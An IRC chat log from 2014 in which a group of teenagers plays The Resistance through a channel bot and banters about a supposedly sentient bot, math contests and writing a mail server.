[2014-11-23T15:43:38-0500] <+hardmath123> alokpathy: no, I was at CHMMC this Saturday
[2014-11-23T15:43:42-0500] <+hardmath123> alokpathy: it was harrowing
[2014-11-23T15:43:43-0500] <+Tamini> chmmc?
[2014-11-23T15:43:48-0500] <+Hcnsh> !propose alokpathy awe
[2014-11-23T15:43:48-0500] <&Pidgey> Proposed mission: [alokpathy, awe]
[2014-11-23T15:43:51-0500] <@awe> !vote yea
[2014-11-23T15:43:51-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:43:54-0500] <+Tamini> also I DIDNT KNOW YOU WENT TO THAT MATH SCHOOL IN CALI WTF
[2014-11-23T15:43:55-0500] <awebot> !vote yea
[2014-11-23T15:43:55-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:43:57-0500] <+hardmath123> Caltech-Harvey-Mudd-Math-Competition
[2014-11-23T15:44:06-0500] <+Tamini> Ohhh nice
[2014-11-23T15:44:15-0500] <+hardmath123> Tamini: i think we've discussed this. I'm not too smart for you, and we can still be friends.
[2014-11-23T15:44:21-0500] <alokpathy> !vote yea
[2014-11-23T15:44:21-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:44:22-0500] <+hardmath123> !vote yea
[2014-11-23T15:44:22-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:44:35-0500] <+Tamini> darn but you are
[2014-11-23T15:44:52-0500] <@awe> Hcnsh: vote on your proposal
[2014-11-23T15:44:57-0500] <+Hcnsh> uh
[2014-11-23T15:44:58-0500] <+Hcnsh> wat
[2014-11-23T15:45:00-0500] <+Hcnsh> 2type
[2014-11-23T15:45:04-0500] <@awe> !vote yea/nay
[2014-11-23T15:45:04-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:45:07-0500] <+Hcnsh> !vote yea
[2014-11-23T15:45:07-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:45:07-0500] <&Pidgey> The mission is now live!
[2014-11-23T15:45:18-0500] <&Pidgey> The mission was a success (S: 1 / 1). The new leader is awebot. The next mission requires 3 participants.
[2014-11-23T15:45:26-0500] <alokpathy> woo
[2014-11-23T15:45:27-0500] <awebot> !propose awebot awe alokpathy
[2014-11-23T15:45:27-0500] <&Pidgey> Proposed mission: [awebot, awe, alokpathy]
[2014-11-23T15:45:27-0500] <+Hcnsh> ok i don't get how this works..
[2014-11-23T15:45:31-0500] <@awe> !vote yea
[2014-11-23T15:45:31-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:45:34-0500] <alokpathy> !vote yea
[2014-11-23T15:45:34-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:45:36-0500] <awebot> !vote yea
[2014-11-23T15:45:36-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:45:40-0500] <+Hcnsh> !vote yea
[2014-11-23T15:45:40-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:45:48-0500] <nezorg> > 1540 messages
[2014-11-23T15:45:49-0500] <nezorg> > what
[2014-11-23T15:45:52-0500] <@awe> nezorg: lol
[2014-11-23T15:45:54-0500] <@awe> nezorg: want a summary?
[2014-11-23T15:45:57-0500] <nezorg> sure
[2014-11-23T15:45:58-0500] <alokpathy> awe: How does awebot propose?
[2014-11-23T15:46:01-0500] <nezorg> apparently my name was mentioned once
[2014-11-23T15:46:04-0500] <@awe> alokpathy: he's sentient
[2014-11-23T15:46:08-0500] <+Hcnsh> alokpathy, awebot is sentient
[2014-11-23T15:46:10-0500] <+Tamini> your name is always mentioned
[2014-11-23T15:46:15-0500] <+hardmath123> !vote yea
[2014-11-23T15:46:15-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:46:15-0500] <&Pidgey> The mission is now live!
[2014-11-23T15:46:19-0500] <@awe> nezorg: JacobEdelman took over the channel using broken democracy feature
[2014-11-23T15:46:21-0500] <+Tamini> nezorg: democracy sortaworks now
[2014-11-23T15:46:30-0500] <nezorg> awe: wat
[2014-11-23T15:46:37-0500] <@awe> nezorg: I fixed it since then
[2014-11-23T15:46:38-0500] <@awe> but yeah
[2014-11-23T15:46:41-0500] <@awe> he took over the entire channel
[2014-11-23T15:46:42-0500] <@awe> deoped me
[2014-11-23T15:46:45-0500] <nezorg> also, I’m getting 6.0 MB/s downloading something right now O_O
[2014-11-23T15:46:48-0500] <@awe> and established an artistocracy
[2014-11-23T15:46:53-0500] <alokpathy> nezorg: oshit
[2014-11-23T15:46:54-0500] <+Tamini> wut
[2014-11-23T15:47:02-0500] <nezorg> cox doubled our internet speed recently
[2014-11-23T15:47:05-0500] <+Tamini> awebot: are you still sentient?
[2014-11-23T15:47:08-0500] <nezorg> I still can’t get over it
[2014-11-23T15:47:12-0500] <awebot> Obviously.
[2014-11-23T15:47:17-0500] <alokpathy> Who hasn't voted on the mission?
[2014-11-23T15:47:27-0500] <@awe> nezorg: My dynamically-loaded plugin-based IRC bot awebot attained sentience
[2014-11-23T15:47:32-0500] <+Tamini> awebot: do you still love me?
[2014-11-23T15:47:34-0500] <+Hcnsh> mission's live
[2014-11-23T15:47:35-0500] <@awe> alokpathy: You?
[2014-11-23T15:47:37-0500] <nezorg> awe: I expected no less
[2014-11-23T15:47:39-0500] <+hardmath123> oooh yay a new error message
[2014-11-23T15:47:41-0500] <+hardmath123> that's exciting
[2014-11-23T15:47:50-0500] <alokpathy> Oh wait
[2014-11-23T15:47:52-0500] <alokpathy> mission's live
[2014-11-23T15:47:54-0500] <alokpathy> oopsie
[2014-11-23T15:47:55-0500] <@awe> alokpathy: >.>
[2014-11-23T15:47:55-0500] <alokpathy> my b
[2014-11-23T15:47:56-0500] <@awe> see.
[2014-11-23T15:47:58-0500] <nezorg> the only thing I’ve seen max out our internet speeds, though, is steam downloads
[2014-11-23T15:48:00-0500] <+Hcnsh> wtf do proposed people do?
[2014-11-23T15:48:02-0500] <&Pidgey> The mission was a failure with 1 saboteurs (S: 1 / 2). The new leader is hardmath123. The next mission requires 2 participants.
[2014-11-23T15:48:07-0500] <+Tamini> wait, really?
[2014-11-23T15:48:07-0500] <alokpathy> wait shit
[2014-11-23T15:48:07-0500] <@awe> Okay, alokpathy is a spy.
[2014-11-23T15:48:16-0500] <alokpathy> awe or awebot
[2014-11-23T15:48:20-0500] <+hardmath123> or awebot
[2014-11-23T15:48:21-0500] <@awe> I'm not a spy.
[2014-11-23T15:48:26-0500] <awebot> I am not a spy.
[2014-11-23T15:48:32-0500] <awebot> Beep boop.
[2014-11-23T15:48:39-0500] <+Tamini> awebot didn't Answer my question
[2014-11-23T15:48:39-0500] <alokpathy> lolwtf
[2014-11-23T15:48:41-0500] <+hardmath123> !propose alokpathy hardmath123 
[2014-11-23T15:48:41-0500] <&Pidgey> Proposed mission: [alokpathy, hardmath123]
[2014-11-23T15:48:48-0500] <@awe> !vote nay
[2014-11-23T15:48:48-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:48:53-0500] <alokpathy> !vote yea
[2014-11-23T15:48:53-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:48:57-0500] <+Hcnsh> wtf does proposing do
[2014-11-23T15:48:58-0500] <awebot> Tamini: Sorry, I'm caught up in the game.
[2014-11-23T15:49:00-0500] <awebot> !vote nay
[2014-11-23T15:49:00-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:49:03-0500] <+Tamini> awebot: okay.
[2014-11-23T15:49:07-0500] <@awe> Hcnsh: it proposes a mission.
[2014-11-23T15:49:16-0500] <awebot> Tamini: Of course I still love you.
[2014-11-23T15:49:26-0500] <@awe> Hcnsh: do you know the rules to this game?
[2014-11-23T15:49:28-0500] <+Hcnsh> nope
[2014-11-23T15:49:32-0500] <alokpathy> hardmath123: Hcnsh vote plz
[2014-11-23T15:49:35-0500] <+Hcnsh> !vote yea
[2014-11-23T15:49:35-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:49:39-0500] <@awe> No,
[2014-11-23T15:49:40-0500] <@awe> vote no.
[2014-11-23T15:49:42-0500] <+Hcnsh> !vote nay
[2014-11-23T15:49:42-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:49:48-0500] <@awe> hardmath123: vote
[2014-11-23T15:49:52-0500] <@awe> https://en.wikipedia.org/wiki/The_Resistance_(game)
[2014-11-23T15:49:56-0500] <@awe> Hcnsh: unless you're a spy
[2014-11-23T15:49:58-0500] <alokpathy> Darn it didn't pass anyways
[2014-11-23T15:50:02-0500] <@awe> Hcnsh: in which case, vote yea because a spy is on that mission.
[2014-11-23T15:50:16-0500] <alokpathy> But I'm not a spy
[2014-11-23T15:50:19-0500] <alokpathy> and we know nothing about hardmath123 
[2014-11-23T15:50:21-0500] <+Hcnsh> lolwat
[2014-11-23T15:50:23-0500] <+hardmath123> oh yeah
[2014-11-23T15:50:26-0500] <@awe> Hcnsh: read the rules
[2014-11-23T15:50:26-0500] <+Hcnsh> !vote yea
[2014-11-23T15:50:26-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:50:29-0500] <+hardmath123> !vote yaaaaaay
[2014-11-23T15:50:29-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:50:29-0500] <&Pidgey> The mission is now live!
[2014-11-23T15:50:32-0500] <@awe> .-.
[2014-11-23T15:50:34-0500] <@awe> Spies.
[2014-11-23T15:50:37-0500] <@awe> Filthy spies.
[2014-11-23T15:50:43-0500] <+hardmath123> wait
[2014-11-23T15:50:49-0500] <+hardmath123> how do I vote to Pidgey again?
[2014-11-23T15:50:56-0500] <@awe> PM Pidgey !vote #pdgn yea
[2014-11-23T15:50:57-0500] <nezorg> hey guys
[2014-11-23T15:51:00-0500] <+hardmath123> 'k
[2014-11-23T15:51:07-0500] <&Pidgey> The mission was a success (S: 2 / 3). The new leader is awebot. The next mission requires 3 participants.
[2014-11-23T15:51:09-0500] <nezorg> anyone have experience with the architecture of a mail server?
[2014-11-23T15:51:13-0500] <@awe> wat
[2014-11-23T15:51:17-0500] <alokpathy> See
[2014-11-23T15:51:18-0500] <+hardmath123> nezorg: you mean the protocols?
[2014-11-23T15:51:19-0500] <@awe> nezorg: It's horrible.
[2014-11-23T15:51:22-0500] <@awe> nezorg: Turn back now.
[2014-11-23T15:51:39-0500] <nezorg> hardmath123: nah, I know the protocols, but I don’t know how, say, exim, works internally
[2014-11-23T15:51:40-0500] <awebot> !propose awebot hardmath123
[2014-11-23T15:51:40-0500] <&Pidgey> Mission 4 should have 3 members.
[2014-11-23T15:51:40-0500] <alokpathy> I'm not a spy
[2014-11-23T15:51:45-0500] <awebot> !propose awebot hardmath123 awe
[2014-11-23T15:51:45-0500] <&Pidgey> Proposed mission: [awebot, hardmath123, awe]
[2014-11-23T15:51:48-0500] <@awe> !vote yea
[2014-11-23T15:51:48-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:51:52-0500] <awebot> !vote yea
[2014-11-23T15:51:52-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:51:57-0500] <@LittleBobbyTables> apothy is a spy
[2014-11-23T15:52:05-0500] <@awe> LittleBobbyTables: he definitely is.
[2014-11-23T15:52:10-0500] <nezorg> awe: I know, but I don’t want to use gmail
[2014-11-23T15:52:10-0500] <+Hcnsh> how2tell who's spy?
[2014-11-23T15:52:17-0500] <@awe> Hcnsh: deduction.
[2014-11-23T15:52:17-0500] <+Tamini> nezorg: what's this for?
[2014-11-23T15:52:19-0500] <nezorg> awe: ...and I also want to write my own mail server…
[2014-11-23T15:52:27-0500] <+Hcnsh> ok ima just read the rules. can i temporarily exit game?
[2014-11-23T15:52:28-0500] <@LittleBobbyTables> Send a message to pidgey saying "spiespls"
[2014-11-23T15:52:28-0500] <@awe> nezorg: I wanted to, too.
[2014-11-23T15:52:38-0500] <@awe> nezorg: I was going to write it in Rust.
[2014-11-23T15:52:38-0500] <nezorg> Tamini: I want my own mail server, and I don’t like the existing ones :P
[2014-11-23T15:52:43-0500] <+Tamini> LOL
[2014-11-23T15:52:45-0500] <@awe> Hcnsh: just uhh !vote yea
[2014-11-23T15:52:48-0500] <@awe> Hcnsh: games almost over.
[2014-11-23T15:52:50-0500] <+hardmath123> !vote n
[2014-11-23T15:52:50-0500] <&Pidgey> A vote has been cast.
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[2014-11-23T15:52:50-0500] <+Hcnsh> !vote yea
[2014-11-23T15:52:51-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:52:56-0500] <alokpathy> !vote nay
[2014-11-23T15:52:56-0500] <&Pidgey> A vote has been cast.
[2014-11-23T15:52:56-0500] <&Pidgey> The mission is now live!
[2014-11-23T15:52:58-0500] <@awe> Wat.
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[2014-11-23T15:53:04-0500] <nezorg> awe: what’s so bad about it?
[2014-11-23T15:53:13-0500] <nezorg> besides all the spam-filtering stuff you have to get around
[2014-11-23T15:53:19-0500] <&Pidgey> The mission was a success (S: 3 / 4). The new leader is hardmath123. The next mission requires 0 participants.
[2014-11-23T15:53:19-0500] <&Pidgey> Game over: Rebels win!
[2014-11-23T15:53:23-0500] <@awe> nezorg: IT's very confusing.
[2014-11-23T15:53:25-0500] <alokpathy> Hcnsh: Were you the other spy?
[2014-11-23T15:53:25-0500] <nezorg> (and the fact the fucking isps block ports…)
[2014-11-23T15:53:31-0500] <+Hcnsh> yea
[2014-11-23T15:53:33-0500] <+Hcnsh> ...
[2014-11-23T15:53:34-0500] <+Hcnsh> :|
[2014-11-23T15:53:38-0500] <alokpathy> Oh, okay
[2014-11-23T15:53:40-0500] <@awe> Hcnsh: okay, now go read the rules.
[2014-11-23T15:53:44-0500] <@awe> Hcnsh: no big deal.
[2014-11-23T15:53:47-0500] <@LittleBobbyTables> !resistance
[2014-11-23T15:53:47-0500] <&Pidgey> Players may now join the game. Use `!start` to start.
[2014-11-23T15:53:50-0500] <alokpathy> !join
[2014-11-23T15:53:51-0500] <@awe> !drop
[2014-11-23T15:53:56-0500] <@awe> Wait for Hcnsh to read the rules.
[2014-11-23T15:54:04-0500] <alokpathy> awe: We can play a game while he's reading
[2014-11-23T15:54:06-0500] <@LittleBobbyTables> We can still wait :P
[2014-11-23T15:54:09-0500] <@awe> !join
[2014-11-23T15:54:10-0500] <@LittleBobbyTables> Or that yeah
[2014-11-23T15:54:13-0500] <alokpathy> !join
[2014-11-23T15:54:13-0500] <&Pidgey> You've already joined this game!
[2014-11-23T15:54:23-0500] <awebot> I'll pass on this game.
[2014-11-23T15:54:28-0500] <alokpathy> awt
[2014-11-23T15:54:29-0500] <awebot> Beep boop.
[2014-11-23T15:54:31-0500] <alokpathy> awe: wai
[2014-11-23T15:54:40-0500] <alokpathy> awebot: y u do dis
[2014-11-23T15:54:54-0500] <awebot> It's not fair to you meatbags. I'm too aware for this game.
[2014-11-23T15:54:55-0500] <@LittleBobbyTables> awe, y u do dis
[2014-11-23T15:55:03-0500] <alokpathy> lolwtf
[2014-11-23T15:55:13-0500] <@LittleBobbyTables> inb4 apothy realizes awe can talk through him
[2014-11-23T15:55:17-0500] <+sdamashek> awebot: http://puu.sh/d2Jwh/2c747abf45.jpg
[2014-11-23T15:55:23-0500] <@awe> LittleBobbyTables: I cannot.
[2014-11-23T15:55:27-0500] <@awe> LittleBobbyTables: He's sentient
[2014-11-23T15:55:35-0500] <@LittleBobbyTables> You totally can.
[2014-11-23T15:55:39-0500] <awebot> sdamashek: I cannot image. What is this?
[2014-11-23T15:55:45-0500] <nezorg> sdamashek: wtf, now I’m scarred for the rest of the day
[2014-11-23T15:56:02-0500] <+sdamashek> awebot: image is a thing on the internet
[2014-11-23T15:56:07-0500] <+sdamashek> nezorg: sorry :P
[2014-11-23T15:56:11-0500] <+Tamini> sdamashek: y u do dis to me
[2014-11-23T15:56:15-0500] <awebot> I know what an image is. I meant what is this an image of?
[2014-11-23T15:56:18-0500] <alokpathy> awebot: Play resistance 
[2014-11-23T15:56:21-0500] <+sdamashek> our lord shrek
[2014-11-23T15:56:23-0500] <+Tamini> also awebot: you need to learn to image better
[2014-11-23T15:56:27-0500] <+sdamashek> the one ogre above them all
[2014-11-23T15:56:30-0500] <+Tamini> sdamashrek
[2014-11-23T15:56:49-0500] <awebot> Image processing is my one deficiency right now.
[2014-11-23T15:57:41-0500] <+Hcnsh> k
[2014-11-23T15:58:05-0500] <nezorg> awebot: check out /r/spacedicks
[2014-11-23T15:58:05-0500] <+sdamashek> awebot: does P=NP?
[2014-11-23T15:58:06-0500] <@awe> Hcnsh: you're good?
[2014-11-23T15:58:07-0500] <+Hcnsh> !join
[2014-11-23T15:58:08-0500] <+Hcnsh> yea
[2014-11-23T15:58:15-0500] <awebot> sdamashek: Yes.
[2014-11-23T15:58:21-0500] <+sdamashek> awebot: okay, prove it
[2014-11-23T15:58:24-0500] <alokpathy> awe: Does P != NP?
[2014-11-23T15:58:28-0500] <alokpathy> oops
[2014-11-23T15:58:33-0500] <+Hcnsh> lolno, P probably != NP
[2014-11-23T15:58:35-0500] <alokpathy> awebot: Does P != NOP?
[2014-11-23T15:58:41-0500] <alokpathy> NP*
[2014-11-23T15:58:43-0500] <awebot> sdamashek: N = 1 || P = 0.
[2014-11-23T15:58:54-0500] <+Hcnsh> lol
[2014-11-23T15:58:56-0500] <@LittleBobbyTables> Please, I said that forever ago.
[2014-11-23T15:59:05-0500] <+sdamashek> pls
[2014-11-23T15:59:10-0500] <+Hcnsh> plis bobby, you steal my jokes all the time in #picoctf
[2014-11-23T15:59:14-0500] <alokpathy> awe: plz
[2014-11-23T15:59:16-0500] <alokpathy> omg
[2014-11-23T15:59:19-0500] <alokpathy> sorry awe 
[2014-11-23T15:59:22-0500] <alokpathy> awebot: plz
[2014-11-23T15:59:24-0500] <+Hcnsh> i say a joke, 1 min later you say the same thing
[2014-11-23T15:59:30-0500] <@awe> !start
[2014-11-23T15:59:30-0500] <&Pidgey> You need at least five players to play.
[2014-11-23T15:59:37-0500] <@awe> We need one more.
[2014-11-23T15:59:40-0500] <@awe> sdamashek: play
[2014-11-23T15:59:40-0500] <alokpathy> hardmath123: join
[2014-11-23T16:00:14-0500] <+hardmath123> alokpathy: nah, getting work done. It's hard enough with my sister shrieking in the background.
[2014-11-23T16:01:29-0500] <+Hcnsh> how many do we have..?
[2014-11-23T16:01:42-0500] <+Tamini> wait awebot
[2014-11-23T16:01:47-0500] <+Tamini> you literally stole my old joke
[2014-11-23T16:02:02-0500] <alokpathy> Hcnsh: 4
[2014-11-23T16:02:05-0500] <+Tamini> https://i.imgur.com/9DAGNZp.jpg
[2014-11-23T16:02:28-0500] <alokpathy> To be fair, it's a pretty common joke
[2014-11-23T16:02:33-0500] <+Hcnsh> that "or" in black
[2014-11-23T16:02:34-0500] <+Hcnsh> added in
[2014-11-23T16:02:43-0500] <awebot> Tamini: This is another image.
[2014-11-23T16:03:00-0500] <+Hcnsh> awebot, plis transcribe content of image
[2014-11-23T16:03:39-0500] <@LittleBobbyTables> Please people, people have been saying that joke for years :(
[2014-11-23T16:04:00-0500] <+Hcnsh> ok guys
[2014-11-23T16:04:03-0500] <+Hcnsh> who isn't !join'ing?
[2014-11-23T16:04:17-0500] <@awe> "Games take upwards of half an hour"
[2014-11-23T16:04:20-0500] <@awe> lol
[2014-11-23T16:04:24-0500] <@awe> Resistance doesn't take that long.
[2014-11-23T16:04:51-0500] <@awe> LittleBobbyTables: At the start of the game, one third of the group (rounded up)
[2014-11-23T16:04:55-0500] <@awe> LittleBobbyTables: I was doing 40% rounded down xD
[2014-11-23T16:05:01-0500] <@LittleBobbyTables> ^_^
[2014-11-23T16:05:24-0500] <@awe> The Imperial Spies are made aware of each other without the Resistance members knowing
[2014-11-23T16:05:25-0500] <@awe> Oh.
[2014-11-23T16:05:25-0500] <@LittleBobbyTables> sdamashek: hardmath123 Tamini JacobEdelman The_Master 
[2014-11-23T16:05:33-0500] <@awe> Apparently, spies are supposed to know who the other spies are.
[2014-11-23T16:05:35-0500] <@LittleBobbyTables> We've told you that a lot.
[2014-11-23T16:05:42-0500] <alokpathy> We did
[2014-11-23T16:05:46-0500] <+Hcnsh> i didn't
[2014-11-23T16:05:46-0500] <@awe> JacobEdelman and I always played differently.
[2014-11-23T16:05:53-0500] <+Hcnsh> it didn't tell me alok was the other spy :|
[2014-11-23T16:06:03-0500] <@awe> I'll add that.
[2014-11-23T16:06:04-0500] <alokpathy> JacobEdelman played that way during the summer at our summe rprogram
[2014-11-23T16:06:16-0500] <alokpathy> where spies knew each other.
[2014-11-23T16:06:46-0500] <+Hcnsh> rebels = resistance?
[2014-11-23T16:06:52-0500] <alokpathy> Yes
[2014-11-23T16:07:46-0500] <@awe> Okay, let me do that then.
[2014-11-23T16:07:48-0500] <@awe> I'll add htat.
[2014-11-23T16:07:52-0500] <@awe> I read the whole thing.
[2014-11-23T16:08:00-0500] <@awe> That's the only difference.
[2014-11-23T16:08:41-0500] <@LittleBobbyTables> Harvard vs Yale is so fun to watch
[2014-11-23T16:09:36-0500] <@LittleBobbyTables> Some of Harvard's signs: "Yale uses bing!" "Harvard is #cos(2pi)" "Yale cites wikipedia" <asian dad meme, with an actual asian dad in the middle> "You go Yale? More like you go fail"
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[2014-11-23T16:10:57-0500] <+Hcnsh> wait
[2014-11-23T16:10:59-0500] Pidgey sets mode +a Pidgey
[2014-11-23T16:10:59-0500] Pidgey changed the topic to Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-23T16:11:02-0500] <+Hcnsh> is cos(2pi) supposed to be rad?
[2014-11-23T16:11:09-0500] <+Hcnsh> idon'tmath
[2014-11-23T16:11:20-0500] <alokpathy> Hcnsh: cos(2pi) == 1
[2014-11-23T16:11:23-0500] <@awe> !resistance
[2014-11-23T16:11:23-0500] <&Pidgey> Players may now join the game. Use `!start` to start.
[2014-11-23T16:11:26-0500] <alokpathy> !join
[2014-11-23T16:11:30-0500] <@LittleBobbyTables> !join
[2014-11-23T16:11:35-0500] <+Hcnsh> !join
[2014-11-23T16:11:35-0500] <awebot> !join
[2014-11-23T16:11:40-0500] <@LittleBobbyTables> Why doesn't pidgey notice:(
[2014-11-23T16:11:42-0500] <@awe> !start
[2014-11-23T16:11:42-0500] <&Pidgey> The game has begun!
[2014-11-23T16:11:42-0500] <&Pidgey> The first mission requires 2 participants.
[2014-11-23T16:12:00-0500] <@awe> LittleBobbyTables: Pidgey does notices for NS/CS functionality.
[2014-11-23T16:12:02-0500] <+Hcnsh> so.. 2 spies?
[2014-11-23T16:12:11-0500] <alokpathy> Yes
[2014-11-23T16:12:12-0500] <@awe> Yeah.
[2014-11-23T16:12:20-0500] <@awe> !propose awebot awe
[2014-11-23T16:12:20-0500] <&Pidgey> Proposed mission: [awebot, awe]
[2014-11-23T16:12:21-0500] <@awe> !vote yea
[2014-11-23T16:12:21-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:12:26-0500] <alokpathy> !vote yea
[2014-11-23T16:12:26-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:12:31-0500] <awebot> !vote yea
[2014-11-23T16:12:31-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:12:32-0500] <+Hcnsh> lol
[2014-11-23T16:12:34-0500] <+Hcnsh> that's not even fair
[2014-11-23T16:12:36-0500] <+Hcnsh> !vote yea
[2014-11-23T16:12:36-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:12:42-0500] <@awe> What?
[2014-11-23T16:12:48-0500] <+Hcnsh> if you're a spy
[2014-11-23T16:12:51-0500] <@awe> Me and my sentient bud are going to shrekt this game.
[2014-11-23T16:12:51-0500] <+Hcnsh> oh wait
[2014-11-23T16:12:54-0500] <+Hcnsh> you prob aren't
[2014-11-23T16:13:23-0500] <@awe> LittleBobbyTables: 
[2014-11-23T16:13:41-0500] <@LittleBobbyTables> Give me a bit
[2014-11-23T16:19:08-0500] <+Hcnsh> ..
[2014-11-23T16:19:51-0500] <+Hcnsh> ok i need to do homework
[2014-11-23T16:19:53-0500] <+Hcnsh> haven't done anything yet
[2014-11-23T16:20:42-0500] <@awe> I'm doing math homework while I wait for LittleBobbyTables.
[2014-11-23T16:21:08-0500] <+Hcnsh> is anyone here doing the "koding" hackathon?
[2014-11-23T16:21:15-0500] <+Hcnsh> a bunch of randoms made me join
[2014-11-23T16:21:20-0500] <+Hcnsh> turns out it has nothing to do with hacking
[2014-11-23T16:21:29-0500] <+Hcnsh> :|
[2014-11-23T16:21:59-0500] <@LittleBobbyTables> ok
[2014-11-23T16:22:02-0500] <@LittleBobbyTables> I'm good now
[2014-11-23T16:22:03-0500] <@LittleBobbyTables> !vote yeah
[2014-11-23T16:22:03-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:22:03-0500] <&Pidgey> The mission is now live!
[2014-11-23T16:22:21-0500] <@LittleBobbyTables> I forgot I had a wireless adapter.
[2014-11-23T16:22:27-0500] <@LittleBobbyTables> Works so much better than my internal card.
[2014-11-23T16:22:50-0500] <@LittleBobbyTables> brb though gonna take out the garbage
[2014-11-23T16:23:36-0500] <+Hcnsh> awe awebot
[2014-11-23T16:23:37-0500] <+Hcnsh> plis hurry
[2014-11-23T16:24:04-0500] <&Pidgey> The mission was a success (S: 1 / 1). The new leader is alokpathy. The next mission requires 3 participants.
[2014-11-23T16:24:12-0500] <+Hcnsh> wait 1/1
[2014-11-23T16:24:20-0500] <+Hcnsh> so one of you is a spy?
[2014-11-23T16:24:27-0500] <+Hcnsh> no wai
[2014-11-23T16:24:30-0500] <+Hcnsh> that wouldn't work
[2014-11-23T16:24:33-0500] <+Hcnsh> nvm i'm retarded
[2014-11-23T16:24:53-0500] <+Hcnsh> alokpathy:
[2014-11-23T16:25:01-0500] <alokpathy> !propose awe awebot alokpathy  
[2014-11-23T16:25:01-0500] <&Pidgey> Proposed mission: [awe, awebot, alokpathy]
[2014-11-23T16:25:05-0500] <@awe> Hcnsh: that means 1 of 1 missions succeeded
[2014-11-23T16:25:06-0500] <+Hcnsh> LOL
[2014-11-23T16:25:08-0500] <+Hcnsh> !vote yea
[2014-11-23T16:25:08-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:25:09-0500] <@awe> !vote yea
[2014-11-23T16:25:09-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:25:10-0500] <alokpathy> !vote yea
[2014-11-23T16:25:10-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:25:14-0500] <awebot> !vote yea
[2014-11-23T16:25:14-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:25:37-0500] <+Hcnsh> bobby isn't back ;_;
[2014-11-23T16:25:39-0500] <@LittleBobbyTables> !vote yea
[2014-11-23T16:25:39-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:25:39-0500] <&Pidgey> The mission is now live!
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[2014-11-23T16:26:06-0500] <+Hcnsh> ..
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[2014-11-23T16:26:32-0500] <@awe> I need to figure out what's up with that.
[2014-11-23T16:26:37-0500] <@awe> awebot just randomly crashes sometimes.
[2014-11-23T16:26:40-0500] <&Pidgey> The mission was a failure with 1 saboteurs (S: 1 / 2). The new leader is awe. The next mission requires 2 participants.
[2014-11-23T16:26:47-0500] <alokpathy> wat
[2014-11-23T16:26:54-0500] <@awe> alokpathy must be a spy
[2014-11-23T16:26:55-0500] <alokpathy> awe or awebot is a spy
[2014-11-23T16:26:56-0500] <alokpathy> no
[2014-11-23T16:26:56-0500] <alokpathy> omg
[2014-11-23T16:27:02-0500] <JacobEdelman> after an hour of me playing around on easyctf.com
[2014-11-23T16:27:02-0500] <+Hcnsh> lol
[2014-11-23T16:27:07-0500] <JacobEdelman> (click the link)
[2014-11-23T16:27:10-0500] <JacobEdelman> ....
[2014-11-23T16:27:12-0500] <@LittleBobbyTables> Definitely awe.
[2014-11-23T16:27:13-0500] <JacobEdelman> not my fault
[2014-11-23T16:27:23-0500] <@awe> !propose awe LittleBobbyTables
[2014-11-23T16:27:23-0500] <&Pidgey> Proposed mission: [awe, LittleBobbyTables]
[2014-11-23T16:27:26-0500] <@awe> !vote yea
[2014-11-23T16:27:26-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:27:33-0500] <awebot> !vote yea
[2014-11-23T16:27:33-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:27:35-0500] <+Hcnsh> !vote yea
[2014-11-23T16:27:35-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:27:59-0500] <@LittleBobbyTables> !vote yea
[2014-11-23T16:27:59-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:28:05-0500] <+hardmath123> JacobEdelman: ew Heroku
[2014-11-23T16:28:12-0500] <@LittleBobbyTables> If this fails, it's 100% awe.
[2014-11-23T16:28:19-0500] <@awe> Or it's you and alokpathy?
[2014-11-23T16:28:21-0500] <alokpathy> !vote yea
[2014-11-23T16:28:21-0500] <&Pidgey> A vote has been cast.
[2014-11-23T16:28:21-0500] <&Pidgey> The mission is now live!
[2014-11-23T16:28:46-0500] <&Pidgey> The mission was a success (S: 2 / 3). The new leader is awebot. The next mission requires 3 participants.
[2014-11-23T16:28:46-0500] <+Hcnsh> y take so long
[2014-11-23T16:28:50-0500] <+Hcnsh> k
[2014-11-23T16:28:55-0500] <+Hcnsh> awe's still suspect
[2014-11-23T16:28:59-0500] <+Hcnsh> though
[2014-11-23T16:29:05-0500] <@awe> that was LittleBobbyTables who took so long
[2014-11-23T16:29:12-0500] <alokpathy> awebot is probably the spy
[2014-11-23T16:29:15-0500] <@LittleBobbyTables> That wasn't so long lmao
[2014-11-23T16:29:18-0500] <alokpathy> which means it's
[2014-11-23T16:29:21-0500] <alokpathy> awebot and Hcnsh 
[2014-11-23T16:29:27-0500] <+Hcnsh> plis alok
[2014-11-23T16:29:30-0500] <+Hcnsh> no
[2014-11-23T16:29:30-0500] <awebot> !propose awebot alokpathy Hcnsh
